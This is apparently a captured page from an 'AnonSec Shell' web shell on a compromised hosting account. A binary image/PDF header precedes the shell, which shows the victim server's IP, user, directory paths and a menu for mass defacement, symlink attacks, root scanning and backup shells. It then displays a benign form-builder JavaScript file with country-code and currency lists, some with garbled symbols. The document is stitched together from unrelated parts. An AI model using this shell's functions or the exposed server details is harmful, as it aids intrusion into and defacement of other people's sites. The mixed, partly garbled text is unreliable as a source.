ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY AnonSec Shell
AnonSec Shell
Server IP : 82.197.83.129  /  Your IP : 216.73.216.166   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux us-bos-web1456.main-hosting.eu 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64
User : u489457460 ( 489457460)
PHP Version : 7.3.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u489457460/domains/brexaa.com/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/u489457460/domains/brexaa.com/public_html/form.js
var form_data = [];

function WorkeSubmissionHandling(event, form_id, env) {
  event.preventDefault();
  removeValidationMessage(form_id);

  const formData = new FormData(event.target);
  const formProps = Object.fromEntries(formData);
  const JsonFormData = Object.entries(formProps);

  let formLabelArray = {};
  const formValid = addValidationMessage(form_id);
  if (formValid) console.log(formValid);

  const labels = document.getElementsByTagName("label");

  for (let i = 0; i < labels.length; i++) {
    if (labels[i].htmlFor) {
      formLabelArray[labels[i].htmlFor] = labels[i].textContent;
    }
  }

  let form_field_data_payload = {};
  JsonFormData.forEach((ele) => {
    if (ele[0] !== "organisation_id" && ele[0] !== "form_id") {
      let value;
      const form_object = document.querySelector("#" + form_id);
      const field_id = form_object.querySelectorAll(
        'input[name="' +
          ele[0] +
          '"], select[name="' +
          ele[0] +
          '"], textarea[name="' +
          ele[0] +
          '"]'
      )[0].id;
      if (typeof ele[1] === "string") {
        try {
          const jsonObject = JSON.parse(ele[1]);
          try {
            value = form_data
              .filter((item) => item.form_field_id === ele[0])[0]
              .value.map((item) => JSON.parse(item));
          } catch (err) {
            if (typeof jsonObject === "number") {
              value = String(ele[1].toString());
            } else {
              value = jsonObject;
            }
          }
        } catch (error) {
          value = String(ele[1].toString());
        }
      }
      if (ele[1]?.lastModified) {
        value = form_data.filter((item) => item.form_field_id === field_id)[0]
          ?.value;
      } else {
        value = form_data.filter((item) => item.form_field_id === ele[0])[0]
          ?.value
          ? form_data.filter((item) => item.form_field_id === ele[0])[0].value
          : String(ele[1].toString());
      }

      const dataKey = document
        .getElementById(field_id)
        ?.getAttribute("data-key");
      const name = document.getElementById(field_id)?.getAttribute("data-name");

      form_field_data_payload[field_id] = {
        key: dataKey,
        value: value,
        name: name ? name : formLabelArray[ele[0]],
      };
    }
  });

  let temp_submit = {
    form_id: formProps.form_id,
    organisation: formProps.organisation_id,
    form_payload: form_field_data_payload,
  };

  fetch("https://" + env + ".brexaa.io/form_builder/submit_form/", {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify(temp_submit),
  })
    .then((response) => response.json())
    .then((data) => {
      if (data.status === 201) {
        const form_object = document.querySelector("#" + form_id);
        form_object.reset();
        form_object.querySelector("#brexaa-success-message").style.display =
          "grid";
        let paragraph = form_object.querySelector("#brexaa-success-message");
        paragraph.innerHTML = data?.data?.title
          ? data?.data?.title
          : "Form submitted successfully";
        deleteSuccessMessage(form_id);
      } else {
        addErrorMessage(
          form_id,
          "Form Submission Failed, Try againg with valid data"
        );
      }
    })
    .catch((err) => console.error("ERR", err));
  return false;
}

function deleteSuccessMessage(form_id) {
  setTimeout(() => {
    const form_object = document.querySelector("#" + form_id);
    form_object.querySelector("#brexaa-success-message").style.display = "none";
  }, 5000);
}

function onCheckBoxChange(event, id) {
  var array = [];
  var checkboxes = document.querySelectorAll(
    'input[type=checkbox][name="' + id + '"]:checked'
  );
  for (var i = 0; i < checkboxes.length; i++) {
    array.push(checkboxes[i].value);
  }
  const data = {
    form_field_id: id,
    value: array,
  };
  form_data = [...form_data.filter((ele) => ele.form_field_id !== id), data];
}

function addValidationMessage(form_id) {
  var fields = Array.from(
    document.querySelectorAll(
      'input[type="text"], input[type="email"], input[type="date"], input[type="datetime-local"], textarea'
    )
  );
  var checkboxes = Array.from(
    document.querySelectorAll('input[type="checkbox"]')
  );
  var radios = Array.from(document.querySelectorAll('input[type="radio"]'));

  var isAllFilled = fields.every(function (field) {
    return field.value.trim() !== "";
  });

  var isAnyCheckboxChecked =
    checkboxes.length > 0
      ? checkboxes.some(function (checkbox) {
          return checkbox.checked;
        })
      : true;

  var isAnyRadioSelected =
    radios.length > 0
      ? radios.some(function (radio) {
          return radio.checked;
        })
      : true;
  var form = document.querySelector("#" + form_id);
  var errorMessage = form.querySelector(".form-error-message");

  if (!(!isAllFilled || !isAnyCheckboxChecked || !isAnyRadioSelected)) {
    // if (!errorMessage) addErrorMessage(form_id, "Please fill all fields");
    return false; // change Later
  } else if (!isAllFilled) {
    return false; // change Later
  }
  return false;
}

function addErrorMessage(form_id, messageContext) {
  var message = document.createElement("p");
  message.classList.add("form-error-message");
  message.textContent = messageContext;
  message.style.textAlign = "center"; // Center alignment
  message.style.color = "red"; // Red color
  message.style.fontSize = "20px"; // Font size 14
  message.style.fontWeight = "bold"; // Bold tex

  var form = document.querySelector("#" + form_id);
  var firstElement = form?.firstChild;
  form?.insertBefore(message, firstElement);
}

function removeValidationMessage(form_id) {
  var form = document.querySelector("#" + form_id);
  var message = form.querySelector(".form-error-message");

  if (message) {
    form.removeChild(message);
  }
}

async function onFileUpload(e, field_id, form_id) {
  const fileInput = document.getElementById(field_id);
  const file = fileInput.files[0];

  if (file) {
    console.log("form_id", form_id);
    const form_object = document.querySelector("#" + "brexaa-form-" + form_id);
    console.log("form_object", form_object);

    const submitButton = form_object.querySelectorAll(
      'button[type="submit"]'
    )[0];
    console.log("submitButton", submitButton);
    console.log("submitButton", submitButton.disabled);

    const formData = new FormData();
    formData.append("fileType", "any");
    formData.append("associatedWith", "ChatBot");
    formData.append("associatedId", "079798798796");
    formData.append("files", file);
    submitButton.disabled = true;
    const buttonColor = submitButton.style.backgroundColor;
    submitButton.style.backgroundColor = "gray";
    try {
      const response = await fetch(
        `https://stagemessagingapi.brexaa.io/api/v1/fileService/uploadFiles`,
        {
          method: "POST",
          body: formData,
        }
      );

      if (response.ok) {
        const data = await response.json();
        // const uploadedUrl = data?.data[0]?.path;
        const uploadedUrl = {
          path: data?.data[0]?.path,
          file_name: data?.data[0].name,
        };

        console.log("fileResponse", uploadedUrl);
        const payload = {
          form_field_id: field_id,
          value: uploadedUrl,
        };
        console.log("payload", payload);

        form_data = [
          ...form_data.filter((ele) => ele.form_field_id !== field_id),
          payload,
        ];
      } else {
        console.error("File upload failed.");
      }
      submitButton.disabled = false;
      submitButton.style.backgroundColor = buttonColor;
    } catch (error) {
      console.error("Error:", error);
      submitButton.disabled = false;
      submitButton.style.backgroundColor = buttonColor;
    }
  } else {
    console.error("No file selected.");
  }
}

const countries = [
  {
    name: "Afghanistan",
    code: "+93",
  },
  {
    name: "Albania",
    code: "+355",
  },
  {
    name: "Algeria",
    code: "+213",
  },
  {
    name: "Andorra",
    code: "+376",
  },
  {
    name: "Angola",
    code: "+244",
  },
  {
    name: "Argentina",
    code: "+54",
  },
  {
    name: "Armenia",
    code: "+374",
  },
  {
    name: "Aruba",
    code: "+297",
  },
  {
    name: "Australia",
    code: "+61",
  },
  {
    name: "Australian External Territories",
    code: "+672",
  },
  {
    name: "Austria",
    code: "+43",
  },
  {
    name: "Azerbaijan",
    code: "+994",
  },
  {
    name: "Bahrain",
    code: "+973",
  },
  {
    name: "Bangladesh",
    code: "+880",
  },
  {
    name: "Belarus",
    code: "+375",
  },
  {
    name: "Belgium",
    code: "+32",
  },
  {
    name: "Belize",
    code: "+501",
  },
  {
    name: "Benin",
    code: "+229",
  },
  {
    name: "Bhutan",
    code: "+975",
  },
  {
    name: "Bolivia (Plurinational State of)",
    code: "+591",
  },
  {
    name: "Bonaire, Sint Eustatius and Saba",
    code: "+599",
  },
  {
    name: "Bosnia and Herzegovina",
    code: "+387",
  },
  {
    name: "Botswana",
    code: "+267",
  },
  {
    name: "Brazil",
    code: "+55",
  },
  {
    name: "Brunei Darussalam",
    code: "+673",
  },
  {
    name: "Bulgaria",
    code: "+359",
  },
  {
    name: "Burkina Faso",
    code: "+226",
  },
  {
    name: "Burundi",
    code: "+257",
  },
  {
    name: "Cambodia",
    code: "+855",
  },
  {
    name: "Cameroon",
    code: "+237",
  },
  {
    name: "Cape Verde",
    code: "+238",
  },
  {
    name: "Central African Rep.",
    code: "+236",
  },
  {
    name: "Chad",
    code: "+235",
  },
  {
    name: "Chile",
    code: "+56",
  },
  {
    name: "China",
    code: "+86",
  },
  {
    name: "Colombia",
    code: "+57",
  },
  {
    name: "Comoros",
    code: "+269",
  },
  {
    name: "Congo",
    code: "+242",
  },
  {
    name: "Cook Islands",
    code: "+682",
  },
  {
    name: "Costa Rica",
    code: "+506",
  },
  {
    name: "Côte d'Ivoire",
    code: "+225",
  },
  {
    name: "Croatia",
    code: "+385",
  },
  {
    name: "Cuba",
    code: "+53",
  },
  {
    name: "Cyprus",
    code: "+357",
  },
  {
    name: "Czech Rep.",
    code: "+420",
  },
  {
    name: "Dem. People's Rep. of Korea",
    code: "+850",
  },
  {
    name: "Dem. Rep. of the Congo",
    code: "+243",
  },
  {
    name: "Denmark",
    code: "+45",
  },
  {
    name: "Diego Garcia",
    code: "+246",
  },
  {
    name: "Djibouti",
    code: "+253",
  },
  {
    name: "Ecuador",
    code: "+593",
  },
  {
    name: "Egypt",
    code: "+20",
  },
  {
    name: "El Salvador",
    code: "+503",
  },
  {
    name: "Equatorial Guinea",
    code: "+240",
  },
  {
    name: "Eritrea",
    code: "+291",
  },
  {
    name: "Estonia",
    code: "+372",
  },
  {
    name: "Ethiopia",
    code: "+251",
  },
  {
    name: "Falkland Islands (Malvinas)",
    code: "+500",
  },
  {
    name: "Faroe Islands",
    code: "+298",
  },
  {
    name: "Fiji",
    code: "+679",
  },
  {
    name: "Finland",
    code: "+358",
  },
  {
    name: "France",
    code: "+33",
  },
  {
    name: "French Dep. and Territories in the Indian Ocean",
    code: "+262",
  },
  {
    name: "French Guiana",
    code: "+594",
  },
  {
    name: "French Polynesia",
    code: "+689",
  },
  {
    name: "Gabon",
    code: "+241",
  },
  {
    name: "Gambia",
    code: "+220",
  },
  {
    name: "Georgia",
    code: "+995",
  },
  {
    name: "Germany",
    code: "+49",
  },
  {
    name: "Ghana",
    code: "+233",
  },
  {
    name: "Gibraltar",
    code: "+350",
  },
  {
    name: "Global Mobile Satellite System (GMSS), shared",
    code: "+881",
  },
  {
    name: "Greece",
    code: "+30",
  },
  {
    name: "Greenland",
    code: "+299",
  },
  {
    name: "Group of countries, shared code",
    code: "+388",
  },
  {
    name: "Guadeloupe",
    code: "+590",
  },
  {
    name: "Guatemala",
    code: "+502",
  },
  {
    name: "Guinea",
    code: "+224",
  },
  {
    name: "Guinea-Bissau",
    code: "+245",
  },
  {
    name: "Guyana",
    code: "+592",
  },
  {
    name: "Haiti",
    code: "+509",
  },
  {
    name: "Honduras",
    code: "+504",
  },
  {
    name: "Hong Kong, China",
    code: "+852",
  },
  {
    name: "Hungary",
    code: "+36",
  },
  {
    name: "Iceland",
    code: "+354",
  },
  {
    name: "India",
    code: "+91",
  },
  {
    name: "Indonesia",
    code: "+62",
  },
  {
    name: "Inmarsat SNAC",
    code: "+870",
  },
  {
    name: "International Freephone Service",
    code: "+800",
  },
  {
    name: "International Networks, shared code",
    code: "+882",
  },
  {
    name: "International Networks, shared code",
    code: "+883",
  },
  {
    name: "International Premium Rate Service (IPRS)",
    code: "+979",
  },
  {
    name: "International Shared Cost Service (ISCS)",
    code: "+808",
  },
  {
    name: "Iran (Islamic Republic of)",
    code: "+98",
  },
  {
    name: "Iraq",
    code: "+964",
  },
  {
    name: "Ireland",
    code: "+353",
  },
  {
    name: "Israel",
    code: "+972",
  },
  {
    name: "Italy",
    code: "+39",
  },
  {
    name: "Japan",
    code: "+81",
  },
  {
    name: "Jordan",
    code: "+962",
  },
  {
    name: "Kenya",
    code: "+254",
  },
  {
    name: "Kiribati",
    code: "+686",
  },
  {
    name: "Korea (Rep. of)",
    code: "+82",
  },
  {
    name: "Kuwait",
    code: "+965",
  },
  {
    name: "Kyrgyzstan",
    code: "+996",
  },
  {
    name: "Lao P.D.R.",
    code: "+856",
  },
  {
    name: "Latvia",
    code: "+371",
  },
  {
    name: "Lebanon",
    code: "+961",
  },
  {
    name: "Lesotho",
    code: "+266",
  },
  {
    name: "Liberia",
    code: "+231",
  },
  {
    name: "Libya",
    code: "+218",
  },
  {
    name: "Liechtenstein",
    code: "+423",
  },
  {
    name: "Lithuania",
    code: "+370",
  },
  {
    name: "Luxembourg",
    code: "+352",
  },
  {
    name: "Macao, China",
    code: "+853",
  },
  {
    name: "Madagascar",
    code: "+261",
  },
  {
    name: "Malawi",
    code: "+265",
  },
  {
    name: "Malaysia",
    code: "+60",
  },
  {
    name: "Maldives",
    code: "+960",
  },
  {
    name: "Mali",
    code: "+223",
  },
  {
    name: "Malta",
    code: "+356",
  },
  {
    name: "Marshall Islands",
    code: "+692",
  },
  {
    name: "Martinique",
    code: "+596",
  },
  {
    name: "Mauritania",
    code: "+222",
  },
  {
    name: "Mauritius",
    code: "+230",
  },
  {
    name: "Mexico",
    code: "+52",
  },
  {
    name: "Micronesia",
    code: "+691",
  },
  {
    name: "Moldova (Republic of)",
    code: "+373",
  },
  {
    name: "Monaco",
    code: "+377",
  },
  {
    name: "Mongolia",
    code: "+976",
  },
  {
    name: "Montenegro",
    code: "+382",
  },
  {
    name: "Morocco",
    code: "+212",
  },
  {
    name: "Mozambique",
    code: "+258",
  },
  {
    name: "Myanmar",
    code: "+95",
  },
  {
    name: "Namibia",
    code: "+264",
  },
  {
    name: "Nauru",
    code: "+674",
  },
  {
    name: "Nepal",
    code: "+977",
  },
  {
    name: "Netherlands",
    code: "+31",
  },
  {
    name: "New Caledonia",
    code: "+687",
  },
  {
    name: "New Zealand",
    code: "+64",
  },
  {
    name: "Nicaragua",
    code: "+505",
  },
  {
    name: "Niger",
    code: "+227",
  },
  {
    name: "Nigeria",
    code: "+234",
  },
  {
    name: "Niue",
    code: "+683",
  },
  {
    name: "Norway",
    code: "+47",
  },
  {
    name: "Oman",
    code: "+968",
  },
  {
    name: "Pakistan",
    code: "+92",
  },
  {
    name: "Palau",
    code: "+680",
  },
  {
    name: "Panama",
    code: "+507",
  },
  {
    name: "Papua New Guinea",
    code: "+675",
  },
  {
    name: "Paraguay",
    code: "+595",
  },
  {
    name: "Peru",
    code: "+51",
  },
  {
    name: "Philippines",
    code: "+63",
  },
  {
    name: "Poland",
    code: "+48",
  },
  {
    name: "Portugal",
    code: "+351",
  },
  {
    name: "Qatar",
    code: "+974",
  },
  {
    name: "Romania",
    code: "+40",
  },
  {
    name: "Russian Federation",
    code: "+7",
  },
  {
    name: "Rwanda",
    code: "+250",
  },
  {
    name: "Saint Helena, Ascension and Tristan da Cunha",
    code: "+247",
  },
  {
    name: "Saint Helena, Ascension and Tristan da Cunha",
    code: "+290",
  },
  {
    name: "Saint Pierre and Miquelon",
    code: "+508",
  },
  {
    name: "Samoa",
    code: "+685",
  },
  {
    name: "San Marino",
    code: "+378",
  },
  {
    name: "Sao Tome and Principe",
    code: "+239",
  },
  {
    name: "Saudi Arabia",
    code: "+966",
  },
  {
    name: "Senegal",
    code: "+221",
  },
  {
    name: "Serbia",
    code: "+381",
  },
  {
    name: "Seychelles",
    code: "+248",
  },
  {
    name: "Sierra Leone",
    code: "+232",
  },
  {
    name: "Singapore",
    code: "+65",
  },
  {
    name: "Slovakia",
    code: "+421",
  },
  {
    name: "Slovenia",
    code: "+386",
  },
  {
    name: "Solomon Islands",
    code: "+677",
  },
  {
    name: "Somalia",
    code: "+252",
  },
  {
    name: "South Africa",
    code: "+27",
  },
  {
    name: "South Sudan",
    code: "+211",
  },
  {
    name: "Spain",
    code: "+34",
  },
  {
    name: "Sri Lanka",
    code: "+94",
  },
  {
    name: "Sudan",
    code: "+249",
  },
  {
    name: "Suriname",
    code: "+597",
  },
  {
    name: "Swaziland",
    code: "+268",
  },
  {
    name: "Sweden",
    code: "+46",
  },
  {
    name: "Switzerland",
    code: "+41",
  },
  {
    name: "Syrian Arab Republic",
    code: "+963",
  },
  {
    name: "Taiwan, China",
    code: "+886",
  },
  {
    name: "Tajikistan",
    code: "+992",
  },
  {
    name: "Tanzania",
    code: "+255",
  },
  {
    name: "Telecommunications for Disaster Relief (TDR)",
    code: "+888",
  },
  {
    name: "Thailand",
    code: "+66",
  },
  {
    name: "The Former Yugoslav Republic of Macedonia",
    code: "+389",
  },
  {
    name: "Timor-Leste",
    code: "+670",
  },
  {
    name: "Togo",
    code: "+228",
  },
  {
    name: "Tokelau",
    code: "+690",
  },
  {
    name: "Tonga",
    code: "+676",
  },
  {
    name: "Trial of a proposed new international service",
    code: "+991",
  },
  {
    name: "Tunisia",
    code: "+216",
  },
  {
    name: "Turkey",
    code: "+90",
  },
  {
    name: "Turkmenistan",
    code: "+993",
  },
  {
    name: "Tuvalu",
    code: "+688",
  },
  {
    name: "Uganda",
    code: "+256",
  },
  {
    name: "Ukraine",
    code: "+380",
  },
  {
    name: "United Arab Emirates",
    code: "+971",
  },
  {
    name: "United Kingdom",
    code: "+44",
  },
  {
    name: "United States",
    code: "+1",
  },
  {
    name: "Universal Personal Telecommunication (UPT)",
    code: "+878",
  },
  {
    name: "Uruguay",
    code: "+598",
  },
  {
    name: "Uzbekistan",
    code: "+998",
  },
  {
    name: "Vanuatu",
    code: "+678",
  },
  {
    name: "Vatican",
    code: "+379",
  },
  {
    name: "Venezuela (Bolivarian Republic of)",
    code: "+58",
  },
  {
    name: "Viet Nam",
    code: "+84",
  },
  {
    name: "Wallis and Futuna",
    code: "+681",
  },
  {
    name: "Yemen",
    code: "+967",
  },
  {
    name: "Zambia",
    code: "+260",
  },
  {
    name: "Zimbabwe",
    code: "+263",
  },
  {
    name: "Reserved",
    code: "+970",
  },
];

class CountryCodeSelect {
  constructor(selectElement, countries) {
    this.select = selectElement;
    this.countries = countries;
  }

  populateSelect() {
    for (const country of this.countries) {
      const option = document.createElement("option");
      option.value = country.code;
      option.textContent = `${country.name} (${country.code})`;
      this.select.appendChild(option);
    }
  }
}

const selectElements = document.querySelectorAll(".brexaa-ccode-select");

for (const selectElement of selectElements) {
  const countryCodeSelect = new CountryCodeSelect(selectElement, countries);
  countryCodeSelect.populateSelect();
}

const currencyJson = [
  {
    currency: "Albania Lek",
    abbreviation: "ALL",
    symbol: "Lek",
  },
  {
    currency: "Afghanistan Afghani",
    abbreviation: "AFN",
    symbol: "Ø‹",
  },
  {
    currency: "Argentina Peso",
    abbreviation: "ARS",
    symbol: "$",
  },
  {
    currency: "Aruba Guilder",
    abbreviation: "AWG",
    symbol: "Æ’",
  },
  {
    currency: "Australia Dollar",
    abbreviation: "AUD",
    symbol: "$",
  },
  {
    currency: "Azerbaijan New Manat",
    abbreviation: "AZN",
    symbol: "ман",
  },
  {
    currency: "Bahamas Dollar",
    abbreviation: "BSD",
    symbol: "$",
  },
  {
    currency: "Barbados Dollar",
    abbreviation: "BBD",
    symbol: "$",
  },
  {
    currency: "Belarus Ruble",
    abbreviation: "BYR",
    symbol: "p.",
  },
  {
    currency: "Belize Dollar",
    abbreviation: "BZD",
    symbol: "BZ$",
  },
  {
    currency: "Bermuda Dollar",
    abbreviation: "BMD",
    symbol: "$",
  },
  {
    currency: "Bolivia Boliviano",
    abbreviation: "BOB",
    symbol: "$b",
  },
  {
    currency: "Bosnia and Herzegovina Convertible Marka",
    abbreviation: "BAM",
    symbol: "KM",
  },
  {
    currency: "Botswana Pula",
    abbreviation: "BWP",
    symbol: "P",
  },
  {
    currency: "Bulgaria Lev",
    abbreviation: "BGN",
    symbol: "лв",
  },
  {
    currency: "Brazil Real",
    abbreviation: "BRL",
    symbol: "R$",
  },
  {
    currency: "Brunei Darussalam Dollar",
    abbreviation: "BND",
    symbol: "$",
  },
  {
    currency: "Cambodia Riel",
    abbreviation: "KHR",
    symbol: "៛",
  },
  {
    currency: "Canada Dollar",
    abbreviation: "CAD",
    symbol: "$",
  },
  {
    currency: "Cayman Islands Dollar",
    abbreviation: "KYD",
    symbol: "$",
  },
  {
    currency: "Chile Peso",
    abbreviation: "CLP",
    symbol: "$",
  },
  {
    currency: "China Yuan Renminbi",
    abbreviation: "CNY",
    symbol: "Â¥",
  },
  {
    currency: "Colombia Peso",
    abbreviation: "COP",
    symbol: "$",
  },
  {
    currency: "Costa Rica Colon",
    abbreviation: "CRC",
    symbol: "â‚¡",
  },
  {
    currency: "Croatia Kuna",
    abbreviation: "HRK",
    symbol: "kn",
  },
  {
    currency: "Cuba Peso",
    abbreviation: "CUP",
    symbol: "₱",
  },
  {
    currency: "Czech Republic Koruna",
    abbreviation: "CZK",
    symbol: "Kč",
  },
  {
    currency: "Denmark Krone",
    abbreviation: "DKK",
    symbol: "kr",
  },
  {
    currency: "Dominican Republic Peso",
    abbreviation: "DOP",
    symbol: "RD$",
  },
  {
    currency: "East Caribbean Dollar",
    abbreviation: "XCD",
    symbol: "$",
  },
  {
    currency: "Egypt Pound",
    abbreviation: "EGP",
    symbol: "£",
  },
  {
    currency: "El Salvador Colon",
    abbreviation: "SVC",
    symbol: "$",
  },
  {
    currency: "Estonia Kroon",
    abbreviation: "EEK",
    symbol: "kr",
  },
  {
    currency: "Euro Member Countries",
    abbreviation: "EUR",
    symbol: "€",
  },
  {
    currency: "Falkland Islands (Malvinas) Pound",
    abbreviation: "FKP",
    symbol: "£",
  },
  {
    currency: "Fiji Dollar",
    abbreviation: "FJD",
    symbol: "$",
  },
  {
    currency: "Ghana Cedis",
    abbreviation: "GHC",
    symbol: "¢",
  },
  {
    currency: "Gibraltar Pound",
    abbreviation: "GIP",
    symbol: "£",
  },
  {
    currency: "Guatemala Quetzal",
    abbreviation: "GTQ",
    symbol: "Q",
  },
  {
    currency: "Guernsey Pound",
    abbreviation: "GGP",
    symbol: "£",
  },
  {
    currency: "Guyana Dollar",
    abbreviation: "GYD",
    symbol: "$",
  },
  {
    currency: "Honduras Lempira",
    abbreviation: "HNL",
    symbol: "L",
  },
  {
    currency: "Hong Kong Dollar",
    abbreviation: "HKD",
    symbol: "$",
  },
  {
    currency: "Hungary Forint",
    abbreviation: "HUF",
    symbol: "Ft",
  },
  {
    currency: "Iceland Krona",
    abbreviation: "ISK",
    symbol: "kr",
  },
  {
    currency: "India Rupee",
    abbreviation: "INR",
    symbol: "₹",
  },
  {
    currency: "Indonesia Rupiah",
    abbreviation: "IDR",
    symbol: "Rp",
  },
  {
    currency: "Iran Rial",
    abbreviation: "IRR",
    symbol: "ï·¼",
  },
  {
    currency: "Isle of Man Pound",
    abbreviation: "IMP",
    symbol: "£",
  },
  {
    currency: "Israel Shekel",
    abbreviation: "ILS",
    symbol: "₪",
  },
  {
    currency: "Jamaica Dollar",
    abbreviation: "JMD",
    symbol: "J$",
  },
  {
    currency: "Japan Yen",
    abbreviation: "JPY",
    symbol: "Â¥",
  },
  {
    currency: "Jersey Pound",
    abbreviation: "JEP",
    symbol: "£",
  },
  {
    currency: "Kazakhstan Tenge",
    abbreviation: "KZT",
    symbol: "лв",
  },
  {
    currency: "Korea (North) Won",
    abbreviation: "KPW",
    symbol: "â‚©",
  },
  {
    currency: "Korea (South) Won",
    abbreviation: "KRW",
    symbol: "â‚©",
  },
  {
    currency: "Kyrgyzstan Som",
    abbreviation: "KGS",
    symbol: "лв",
  },
  {
    currency: "Laos Kip",
    abbreviation: "LAK",
    symbol: "â‚­",
  },
  {
    currency: "Latvia Lat",
    abbreviation: "LVL",
    symbol: "Ls",
  },
  {
    currency: "Lebanon Pound",
    abbreviation: "LBP",
    symbol: "£",
  },
  {
    currency: "Liberia Dollar",
    abbreviation: "LRD",
    symbol: "$",
  },
  {
    currency: "Lithuania Litas",
    abbreviation: "LTL",
    symbol: "Lt",
  },
  {
    currency: "Macedonia Denar",
    abbreviation: "MKD",
    symbol: "ден",
  },
  {
    currency: "Malaysia Ringgit",
    abbreviation: "MYR",
    symbol: "RM",
  },
  {
    currency: "Mauritius Rupee",
    abbreviation: "MUR",
    symbol: "₨",
  },
  {
    currency: "Mexico Peso",
    abbreviation: "MXN",
    symbol: "$",
  },
  {
    currency: "Mongolia Tughrik",
    abbreviation: "MNT",
    symbol: "â‚®",
  },
  {
    currency: "Mozambique Metical",
    abbreviation: "MZN",
    symbol: "MT",
  },
  {
    currency: "Namibia Dollar",
    abbreviation: "NAD",
    symbol: "$",
  },
  {
    currency: "Nepal Rupee",
    abbreviation: "NPR",
    symbol: "₨",
  },
  {
    currency: "Netherlands Antilles Guilder",
    abbreviation: "ANG",
    symbol: "Æ’",
  },
  {
    currency: "New Zealand Dollar",
    abbreviation: "NZD",
    symbol: "$",
  },
  {
    currency: "Nicaragua Cordoba",
    abbreviation: "NIO",
    symbol: "C$",
  },
  {
    currency: "Nigeria Naira",
    abbreviation: "NGN",
    symbol: "₦",
  },
  {
    currency: "Korea (North) Won",
    abbreviation: "KPW",
    symbol: "â‚©",
  },
  {
    currency: "Norway Krone",
    abbreviation: "NOK",
    symbol: "kr",
  },
  {
    currency: "Oman Rial",
    abbreviation: "OMR",
    symbol: "ï·¼",
  },
  {
    currency: "Pakistan Rupee",
    abbreviation: "PKR",
    symbol: "₨",
  },
  {
    currency: "Panama Balboa",
    abbreviation: "PAB",
    symbol: "B/.",
  },
  {
    currency: "Paraguay Guarani",
    abbreviation: "PYG",
    symbol: "Gs",
  },
  {
    currency: "Peru Nuevo Sol",
    abbreviation: "PEN",
    symbol: "S/.",
  },
  {
    currency: "Philippines Peso",
    abbreviation: "PHP",
    symbol: "₱",
  },
  {
    currency: "Poland Zloty",
    abbreviation: "PLN",
    symbol: "zł",
  },
  {
    currency: "Qatar Riyal",
    abbreviation: "QAR",
    symbol: "ï·¼",
  },
  {
    currency: "Romania New Leu",
    abbreviation: "RON",
    symbol: "lei",
  },
  {
    currency: "Russia Ruble",
    abbreviation: "RUB",
    symbol: "руб",
  },
  {
    currency: "Saint Helena Pound",
    abbreviation: "SHP",
    symbol: "£",
  },
  {
    currency: "Saudi Arabia Riyal",
    abbreviation: "SAR",
    symbol: "ï·¼",
  },
  {
    currency: "Serbia Dinar",
    abbreviation: "RSD",
    symbol: "Дин.",
  },
  {
    currency: "Seychelles Rupee",
    abbreviation: "SCR",
    symbol: "₨",
  },
  {
    currency: "Singapore Dollar",
    abbreviation: "SGD",
    symbol: "$",
  },
  {
    currency: "Solomon Islands Dollar",
    abbreviation: "SBD",
    symbol: "$",
  },
  {
    currency: "Somalia Shilling",
    abbreviation: "SOS",
    symbol: "S",
  },
  {
    currency: "South Africa Rand",
    abbreviation: "ZAR",
    symbol: "R",
  },
  {
    currency: "Korea (South) Won",
    abbreviation: "KRW",
    symbol: "â‚©",
  },
  {
    currency: "Sri Lanka Rupee",
    abbreviation: "LKR",
    symbol: "₨",
  },
  {
    currency: "Sweden Krona",
    abbreviation: "SEK",
    symbol: "kr",
  },
  {
    currency: "Switzerland Franc",
    abbreviation: "CHF",
    symbol: "CHF",
  },
  {
    currency: "Suriname Dollar",
    abbreviation: "SRD",
    symbol: "$",
  },
  {
    currency: "Syria Pound",
    abbreviation: "SYP",
    symbol: "£",
  },
  {
    currency: "Taiwan New Dollar",
    abbreviation: "TWD",
    symbol: "NT$",
  },
  {
    currency: "Thailand Baht",
    abbreviation: "THB",
    symbol: "฿",
  },
  {
    currency: "Trinidad and Tobago Dollar",
    abbreviation: "TTD",
    symbol: "TT$",
  },
  {
    currency: "Turkey Lira",
    abbreviation: "TRL",
    symbol: "₤",
  },
  {
    currency: "Tuvalu Dollar",
    abbreviation: "TVD",
    symbol: "$",
  },
  {
    currency: "Ukraine Hryvna",
    abbreviation: "UAH",
    symbol: "â‚´",
  },
  {
    currency: "United Kingdom Pound",
    abbreviation: "GBP",
    symbol: "£",
  },
  {
    currency: "United States Dollar",
    abbreviation: "USD",
    symbol: "$",
  },
  {
    currency: "Uruguay Peso",
    abbreviation: "UYU",
    symbol: "$U",
  },
  {
    currency: "Uzbekistan Som",
    abbreviation: "UZS",
    symbol: "лв",
  },
  {
    currency: "Venezuela Bolivar",
    abbreviation: "VEF",
    symbol: "Bs",
  },
  {
    currency: "Viet Nam Dong",
    abbreviation: "VND",
    symbol: "â‚«",
  },
  {
    currency: "Yemen Rial",
    abbreviation: "YER",
    symbol: "ï·¼",
  },
  {
    currency: "Zimbabwe Dollar",
    abbreviation: "ZWD",
    symbol: "Z$",
  },
];

class CurrencySelect {
  constructor(selectElement, currencyJson) {
    this.select = selectElement;
    this.currencyJson = currencyJson;
  }

  populateSelect() {
    for (const currency of this.currencyJson) {
      const option = document.createElement("option");
      option.value = `${currency.abbreviation}, ${currency.symbol}`;
      option.textContent = `${currency.currency} (${currency.abbreviation})`;
      this.select.appendChild(option);
    }
  }
}

const currencySelectElements = document.querySelectorAll(
  ".brexaa-currency-select"
);

for (const selectElement of currencySelectElements) {
  const countryCodeSelect = new CurrencySelect(selectElement, currencyJson);
  countryCodeSelect.populateSelect();
}

class CountrySelect {
  constructor(selectElement, countryJson) {
    this.select = selectElement;
    this.countryJson = countryJson;
  }

  populateSelect() {
    for (const country of this.countryJson) {
      const option = document.createElement("option");
      option.value = country.name;
